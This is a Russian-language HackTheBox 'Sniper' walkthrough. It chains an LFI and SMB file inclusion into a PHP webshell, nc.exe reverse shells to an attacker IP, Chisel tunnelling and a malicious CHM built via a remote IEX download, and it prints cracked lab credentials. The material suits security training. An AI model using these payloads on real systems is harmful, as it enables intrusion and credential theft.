> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-medium/sniper-hackthebox-writeup.md).

# Разбор HackTheBox Sniper

{% embed url="<https://app.hackthebox.com/machines/211>" %}

{% hint style="warning" %}
Навыки:

* Включение локальных файлов (LFI)
* Удаленное включение файлов (RFI) (Неудачно)
* Удаленное включение файлов через SMB-сервер (техника net usershare) (Успешно)
* Создание webshell и достижение удаленного выполнения команд (RCE)
* Утечка информации (переход к пользователю)
* Эксперименты с Chisel и ScriptBlocks с использованием Invoke-Command
* Создание вредоносного CHM-файла (Out-CHM.ps1) (Повышение привилегий)
  {% endhint %}

## Разведка

**Настройка рабочей среды:**

Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

<figure><img src="/files/b2fa91c017975fb46625233ac63e67d0a9a63c50" alt="" width="563"><figcaption></figcaption></figure>

**Проверка подключения VPN**

Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

<figure><img src="/files/b6b0b451099512862a34e64b4bab4fca2b797a52" alt="" width="563"><figcaption></figcaption></figure>

**Обнаружение открытых портов с помощью Nmap:**

Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.151 -oG allPorts
```

<figure><img src="/files/8d20069dc87fead566a20aef6f04dce862327d7c" alt=""><figcaption></figcaption></figure>

**Анализ открытых портов с помощью extractPorts:**

Используйте функцию extractPorts, чтобы отобразить открытые порты в кратком формате и скопировать их в буфер обмена. (80,135,139,445,496,67)

<figure><img src="/files/1514c4803f3656084883585707591a7eb5db46c2" alt="" width="563"><figcaption></figcaption></figure>

**Сканирование версий портов с Nmap:**

Используйте Nmap для сканирования версий сервисов и сохраните вывод в файл "targeted":

```bash
nmap -sCV -p80,135,139,445,49667 10.10.10.151 -oN targeted
```

<figure><img src="/files/7b290fc353dc216b9e60157c93560a44f1d41f18" alt=""><figcaption></figcaption></figure>

### Порт 80:

<figure><img src="/files/72a76a393da6472e7f81bb5005c95e22109e0029" alt=""><figcaption></figcaption></figure>

**Анализ с помощью `whatweb`:**

Мы использовали `whatweb` чтобы определить технологии, используемые веб-сервером:

{% code overflow="wrap" fullWidth="false" %}

```bash
whatweb 10.10.10.151
http://10.10.10.151 [200 OK] Bootstrap[3.0.0], Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.151], JQuery[2.1.3], Microsoft-IIS[10.0], PHP[7.3.1], Script, Title[Sniper Co.], X-Powered-By[PHP/7.3.1]
```

{% endcode %}

## **Уязвимость LFI :**

На странице смены языка был `lang` параметр для загрузки различных PHP-файлов в зависимости от выбранного языка.

<figure><img src="/files/cc4c480d23c00d02654c31720804323c626aa98a" alt="" width="366"><figcaption></figcaption></figure>

Мы протестировали с локальным системным файлом:

```url
http://10.10.10.151/blog/?lang=/Windows/System32/drivers/etc/hosts
```

* Это позволило нам отобразить содержимое `hosts` файле.

<figure><img src="/files/2c75fe0a3940170fdcc0322ce74e0727b7faa9ac" alt=""><figcaption></figcaption></figure>

**Попытки чтения конфиденциальных файлов с помощью `php://filter`:**

Мы попытались использовать LFI, чтобы прочитать `index.php` файл веб-сервера Microsoft IIS, расположенный в `/inetpub/wwwroot/index.php`, но операция через `php://filter` не сработала.

<figure><img src="/files/a82368fc2528141abec05d66a14f2a857160bc7f" alt="" width="563"><figcaption></figcaption></figure>

```url
php://filter/convet.base64-encode/ressource=/inetpub/wwwroot/index.php
```

<figure><img src="/files/079d74871b87ecbcfbc83102f8a4bfb4ad252169" alt="" width="563"><figcaption></figcaption></figure>

### Удаленное включение файлов (RFI) (Неудачно)

#### Тест RFI через удаленный веб-сервер:

Мы попытались загрузить удаленный файл через `?lang=http://10.10.14.3/index.html` URL, указав на наш локальный веб-сервер на Python3.

```bash
python3 -m http.server 80
```

```url
?lang=http://10.10.14.3/index.html
```

Но это не сработало.

<figure><img src="/files/267bcb81c38606f312cbcadb10b66e3fe59d2ac1" alt="" width="518"><figcaption></figcaption></figure>

## Удаленное включение файлов (SMB-сервер)

**Создать SMB-сервер:**

Мы создали локальный SMB-сервер с помощью `smbserver.py` и расшарили текущий каталог:

```bash
smbserver.py share $(pwd) -smb2support
```

Затем мы попытались загрузить файл с SMB-сервера, изменив `lang` параметра

```bash
?lang=/10.10.14.3/share/index.html
```

* На этот раз сервер корректно интерпретировал наш `index.html` файл, отобразив его содержимое ("Hello World").

<figure><img src="/files/4159abb76327b20d7e58f1d12bfebf3509c99354" alt="" width="563"><figcaption></figcaption></figure>

**Создать PHP webshell-файл (`cmd.php)`**

Мы создали `cmd.php` файл на нашем SMB-сервере для выполнения удаленных команд через `cmd` :

```bash
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
```

/*/* Выполнение команд через SMB/*/*

```bash
//10.10.14.3/share/cmd.php&cmd=<command>
```

С помощью следующего URL мы выполнили `whoami` команды:

```bash
//10.10.14.3/share/cmd.php&cmd=whoami
```

<figure><img src="/files/5d3af524c687bf697c9ff5fb925d841b144a9cee" alt="" width="563"><figcaption></figcaption></figure>

### Reverse Shell (nc.exe)

**Скачивание `nc.exe` для reverse shell:**&#x41C;ы извлекли `nc.exe` бинарный файл из набора инструментов в `/usr/share/SecLists/Web-Shells/FuzzDB/nc.exe` и скопировали его в рабочий каталог.

```bash
locate nc.exe 
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

**Слушать порт 443:**&#x41C;ы настроили слушатель с помощью `nc` для прослушивания порта 443:

```bash
rlwrap nc -nvlp 443
```

**Выполнение reverse shell через SMB:**&#x417;атем мы запустили reverse shell, указав `cmd` параметр на наш файл

```
?lang=//10.10.14.3/share/cmd.php&cmd=//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 443
```

Так мы получили reverse shell на нашу машину.

<figure><img src="/files/03343ccce66bcf014165a037d169a9659593149d" alt="" width="563"><figcaption></figcaption></figure>

## Повышение привилегий

**Поиск конфиденциальных файлов:**&#x41C;ы искали конфиденциальную информацию в PHP-файлах и нашли `db.php` файл, содержащий учетные данные базы данных:

* Пользователь: `dbuser`
* Пароль: `36mEAhz/B8xQ~2VM`

<figure><img src="/files/7e56b0e4eac76d64e437aa2dab0e05c9dc3409e2" alt=""><figcaption></figcaption></figure>

**Проверка учетных данных другого пользователя:**

<figure><img src="/files/3bc9f3fbfdc94d69f5f79369333eae3040eb597d" alt="" width="563"><figcaption></figcaption></figure>

Мы обнаружили другого пользователя по имени **Chris** в дополнение к пользователю **Администратор**. Мы использовали **CrackMapExec** для проверки, действительны ли `Chris` учетные данные:

```bash
crackmapexec smb 10.10.10.151 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```

* Подключение прошло успешно.

<figure><img src="/files/f681298e8dc27888e6e0fcc1b9b7b5a78a42e24a" alt=""><figcaption></figcaption></figure>

**Проверка привилегий пользователя "Chris":**

* Мы заметили, что пользователь `Chris` принадлежал к группе **Remote Management User** что позволяло ему подключаться удаленно.

<figure><img src="/files/75ab2ae85cc5c10491d04aadacd2aa56d607d890" alt="" width="563"><figcaption></figcaption></figure>

/*/* Анализ открытых портов:/*/*

Порт, необходимый для удаленного подключения (порт 5985, используемый WinRM), не был открыт извне, а был внутренним. Мы использовали `netstat` для проверки прослушиваемых портов на целевой машине:

```bash
netstat -an | findstr "LISTEN"
```

<figure><img src="/files/1052469c82e95e13b932b3d6c3723804b4ab0302" alt="" width="563"><figcaption></figcaption></figure>

## Проброс портов (5985 WinRM)

### 1. PowerShell

Мы запустили PowerShell на нашей атакующей машине:

```bash
powershell
```

Мы узнали имя Windows-окружения с помощью команды `hostname`, и выяснили, что имя хоста было `Sniper`.

```powershell
hostname
```

Затем мы создали переменную для пользователя `Chris` и еще одну для пароля с помощью `ConvertTo-SecureString`:

```powershell
$user = "Sniper/Chris"
```

```powershell
$password = ConvertTo-SecureString '36mEAhz/B8xQ~2VM' -AsPlainText -Force
```

Затем мы создали `PSCredential` объект, чтобы иметь возможность выполнять удаленные команды на целевой машине:

```bash
$cred = New-Object System.Management.Automation.PSCredential($user, $password)
```

**Выполнение удаленных команд:**&#x41C;ы использовали следующую команду, чтобы запустить `whoami` удаленно и проверить доступ:

```powershell
Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {whoami}
```

* Это позволило нам подтвердить, что мы успешно подключены как **Chris**.

<figure><img src="/files/cba8152edb003e1982f573f45f38374a5f9de2e0" alt=""><figcaption></figcaption></figure>

**Reverse shell :**&#x427;тобы получить полный доступ к системе, мы настроили слушатель на порту 4444:

```bash
rlwrap nc -nlvp 4444
```

Затем мы запустили reverse shell, используя `nc.exe` с нашего SMB-сервера:

{% code overflow="wrap" %}

```powershell
Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 4444
```

{% endcode %}

<figure><img src="/files/8d3042e35982a80b61feff1a95ce20aae9189557" alt="" width="563"><figcaption></figcaption></figure>

### 2. Chisel

{% embed url="<https://github.com/jpillora/chisel/releases>" %}

**Скачать и подготовить файлы:**/ Мы загрузили сжатые **Chisel** файлы, а именно:

* `chisel-linux`
* `chisel-windows.exe`

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz>" %}

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_windows_amd64.gz>" %}

После распаковки мы перенесли **Chisel** файл для Windows на целевую машину:

```bash
copy //10.10.14.3/smb/chisel-windows.exe chisel-windows.exe
```

<figure><img src="/files/92078b610d8c5e6a14a13869f4c0c9ff4ad09675" alt=""><figcaption></figcaption></figure>

**Запуск Chisel на атакующей машине:**&#x41C;ы запустили **Chisel** в режиме сервера на атакующей машине на порту 8888:

```bash
./chisel-linux server -p 8888 -reverse
```

Затем на целевой машине Windows мы запустили **Chisel** в клиентском режиме, чтобы подключиться к нашей атакующей машине и перенаправить порт 5985 на нашу машину:

```bash
chisel-windows.exe client 10.10.14.3:8888 R:5985:127.0.0.1:5985
```

<figure><img src="/files/9bf9f28d4398885ea3bb6f39df9f6e81da606b69" alt=""><figcaption></figcaption></figure>

**Проверка перенаправленного порта с помощью `lsof`:**&#x41C;ы проверили, что порт 5985 был корректно перенаправлен, с помощью команды:

<figure><img src="/files/1a3764a58f65e60d059a9fe2b90f363ea4946363" alt=""><figcaption></figcaption></figure>

**Вход через WinRM:**&#x41C;ы использовали **CrackMapExec** для проверки подключения через **WinRM** на перенаправленном порту 5985:

```bash
crackmapexec winrm 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```

* Мы получили символ **взломано**, что подтвердило, что нам удалось получить доступ к машине через WinRM.

<figure><img src="/files/4b6900d9eba7d8a475e6fb815e2967571b3ac56f" alt=""><figcaption></figcaption></figure>

**Финальное подключение с Evil-WinRM:**&#x41D;аконец, мы использовали **Evil-WinRM** для получения удаленной оболочки от имени **Chris**:

```bash
evil-winrm -i 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```

### Флаг user.txt :)

<figure><img src="/files/f81451b782242d0ff3c5667707647f7b72f3d0d6" alt=""><figcaption></figcaption></figure>

**Исследование каталога "docs":**&#x412; корне **Windows**, мы нашли папку **docs** содержащую файл `note.txt` файл со следующим сообщением:

<figure><img src="/files/002055b9f7d940e3db7da452fe22787deeb6b529" alt=""><figcaption></figcaption></figure>

> Привет, Chris,
>
> Твои навыки PHP просто ужасны. Свяжись с Yamitenshi, чтобы он научил тебя им пользоваться, а затем исправь сайт, потому что в нем много ошибок. Надеюсь также, что ты подготовил документацию для нашего нового приложения. Положи ее сюда, когда закончишь.
>
> С уважением,/ CEO Sniper.

**Поиск документации в системе:**&#x41C;ы искали документацию, упомянутую CEO, и нашли ее в **каталоге в** Downloads **каталоге под** файле.

<figure><img src="/files/cfe0e64f77d2914e61eca608369ddb1255730a3b" alt="" width="563"><figcaption></figcaption></figure>

### **Создание вредоносного CHM-файла:**

После того как мы выяснили, что CEO хотел просматривать **CHM** файлы в **docs** каталоге, мы поискали в интернете, как создавать вредоносные CHM-файлы.

{% embed url="<https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1>" %}

**Скачивание HTML Help Tool:**&#x41C;ы скачали **HTML Help** и использовали PowerShell-скрипт для создания вредоносного CHM-файла

* [HTML Help](https://archive.org/download/htmlhelp/htmlhelp.exe)

```bash
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Client/Out-CHM.ps1')
```

Затем мы изменили скрипт, чтобы выполнять удаленную вредоносную команду через **nc.exe**:

```bash
Out-CHM -Payload "//10.10.14.3/smb/nc.exe -e cmd 10.10.14.3 443" -HHCPath "C:/Program Files (x86)/HTML Help Workshop"
```

<figure><img src="/files/146d5356660b2c61e57c96a50ede19e41264903e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/7111e53e25fddd14c2677792fcea59984c30b641" alt="" width="563"><figcaption></figcaption></figure>

**Помещение вредоносного CHM-файла в целевой каталог:**&#x41C;ы настроили SMB-сервер на атакующей машине, чтобы передать вредоносный файл на целевую машину Windows:

```bash
smbserver.py smbFolder $(pwd) -smb2support -username jordan -password jordan1234
```

/*/* Подключение к SMB-шаре с машины-жертвы:/*/*&#x421; целевой машины Windows мы смонтировали SMB-шару и скопировали вредоносный `doc.chm` файл:

```powershell
net use x: //192.168.0.190/smbFolder /user:jordan jordan1234
copy ./doc.chm x:/doc.chm
```

**Ожидание reverse shell:**&#x41C;ы запустили слушатель на нашей атакующей машине, ожидая подключения reverse shell:

```bash
rlwrap nc -nlvp 443
```

<figure><img src="/files/7d9d485bf0868f7812d42060a606edba7572f704" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/02dcad1acf7efc473d6ab75900ae3ac8b199a61d" alt="" width="563"><figcaption></figcaption></figure>

/*/* Возникшая проблема:/*/*&#x425;отя CHM-файл был открыт, мы не получили reverse shell. Однако нам удалось перехватить **SMB Relay V2** на нашем сервере. Это предоставило нам хэш аутентификации пользователя `Администратор`

<figure><img src="/files/7cfc8df3fcd3aa2955c48718605318cacffe7fa6" alt=""><figcaption></figcaption></figure>

#### **Взлом хэша администратора:**

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`Administrator:butterfly!#1`

<figure><img src="/files/8d2318600179857388f96fc6d718182e0e73bc62" alt=""><figcaption></figcaption></figure>

#### **Вход от имени администратора:**

С полученными учетными данными мы использовали **Evil-WinRM** для подключения к машине от имени администратора:

```bash
evil-winrm -i 10.10.14.3 -u 'Administrator' -p 'butterfly!#1'
```

<figure><img src="/files/ae3a2c7830c08e1c4e576d90d678ccfdfa574687" alt=""><figcaption></figcaption></figure>

### Флаг root.txt :)

<figure><img src="/files/1e4027a718a892a6fd78fd2e857e94b9bee691e9" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/a5db13f79c6156ad9b529dfddcc1c1f091159c67" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-medium/sniper-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
